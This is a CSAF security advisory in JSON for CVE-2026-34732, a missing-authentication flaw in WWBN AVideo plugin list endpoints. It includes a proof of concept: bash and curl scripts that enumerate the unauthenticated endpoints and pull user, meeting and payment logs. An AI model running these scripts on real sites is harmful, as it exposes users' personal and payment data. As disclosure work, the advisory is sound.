{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34732",
        "tracking": {
            "current_release_date": "2026-04-01T23:01:41.881347Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34732",
            "initial_release_date": "2026-03-31T21:26:30.602497Z",
            "revision_history": [
                {
                    "date": "2026-03-31T21:26:30.602497Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:26:33.309523Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T21:39:05.426473Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T21:39:07.771491Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T14:40:13.900976Z",
                    "number": "5",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-01T14:40:16.331116Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T15:06:20.861332Z",
                    "number": "7",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-01T15:08:07.199404Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T22:11:15.128568Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T22:11:18.520495Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T23:01:02.823746Z",
                    "number": "11",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-01T23:01:05.540158Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34732",
            "cwe": {
                "id": "CWE-306",
                "name": "Missing Authentication for Critical Function"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34732"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34732.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.\n\n## Details\n\nThe `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:\n\n```php\n// CreatePlugin/templates/add.json.php:12\nif (!User::isAdmin()) {\n    die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/delete.json.php:11\nif (!User::isAdmin()) {\n    die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/list.json.php\n// NO authentication check - accessible to anyone\n```\n\nThis template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.\n\nConfirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:\n\n```\nGET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1\n```\n\nResponse (HTTP 200):\n\n```json\n{\n  \"data\": [\n    {\n      \"id\": 1,\n      \"users_id\": 42,\n      \"ip\": \"REDACTED\",\n      \"user_agent\": \"Mozilla/5.0 ...\",\n      \"created\": \"2025-01-15 14:32:00\",\n      \"room_name\": \"private-meeting-xyz\"\n    }\n  ]\n}\n```\n\nThe 21 affected endpoints generated from this template include:\n\n| Endpoint | Exposed Data |\n|----------|-------------|\n| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |\n| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |\n| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |\n| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |\n| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |\n| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |\n| And 15+ additional plugin endpoints | Various internal records |\n\n## Proof of Concept\n\n**Step 1:** Enumerate accessible list endpoints (no authentication required):\n\n```bash\n#!/bin/bash\nTARGET=\"https://your-avideo-instance.com\"\n\nENDPOINTS=(\n  \"plugin/Meet/View/Meet_join_log/list.json.php\"\n  \"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\"\n  \"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\"\n  \"plugin/CustomizeUser/View/Users_extra_info/list.json.php\"\n  \"plugin/UserNotifications/View/User_notifications/list.json.php\"\n  \"plugin/UserConnections/View/Users_connections/list.json.php\"\n)\n\nfor endpoint in \"${ENDPOINTS[@]}\"; do\n  echo \"=== $endpoint ===\"\n  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w \"%{http_code}\" \"$TARGET/$endpoint\")\n  echo \"Status: $HTTP_CODE\"\n  if [ \"$HTTP_CODE\" = \"200\" ]; then\n    echo \"VULNERABLE - Data returned:\"\n    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20\n  fi\n  echo \"\"\ndone\n```\n\n**Step 2:** Retrieve paginated results from a specific endpoint:\n\n```bash\n# Fetch meeting join logs with pagination\ncurl -s \"https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0\" \\\n  | python3 -m json.tool\n\n# Fetch payment logs\ncurl -s \"https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0\" \\\n  | python3 -m json.tool\n```\n\n**Step 3:** Discover additional vulnerable endpoints by scanning plugin directories:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/\" \\\n  | grep -oP 'href=\"([^\"]+)/\"' \\\n  | while read plugin; do\n    PLUGIN_NAME=$(echo \"$plugin\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n    URL=\"$TARGET/plugin/$PLUGIN_NAME/View/\"\n    curl -s \"$URL\" | grep -oP 'href=\"([^\"]+)/\"' | while read view; do\n      VIEW_NAME=$(echo \"$view\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n      LIST_URL=\"$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php\"\n      CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$LIST_URL\")\n      [ \"$CODE\" = \"200\" ] && echo \"FOUND: $LIST_URL\"\n    done\n  done\n```\n\n## Impact\n\n21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:\n\n- **User PII**: Extended profile information, email addresses, user IDs\n- **Payment data**: PayPal and Authorize.Net transaction logs, payment amounts, buyer details\n- **Access logs**: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs\n- **Social graphs**: User connection and relationship data\n- **Activity records**: Notification history revealing user behavior patterns\n\nThis is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authentication check to `CreatePlugin/templates/list.json.php` after the require lines, matching the pattern used in `add.json.php` and `delete.json.php`:\n\n```php\n// CreatePlugin/templates/list.json.php (after the require lines)\nif (!User::isAdmin()) {\n    die(json_encode(['error' => true]));\n}\n```\n\nThis fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated `list.json.php` endpoints by adding the same admin check after their require lines.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
                    "title": "github - https://api.github.com/advisories/GHSA-g2mg-cgr6-vmv7"
                },
                {
                    "category": "other",
                    "text": "0.00045",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34732"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34732.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-g2mg-cgr6-vmv7"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g2mg-cgr6-vmv7"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34732"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/WWBN/AVideo/commit/ea9f555850eb399126a103c1df2156b48734c990"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-g2mg-cgr6-vmv7"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
                        "baseScore": 5.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-34732"
        }
    ]
}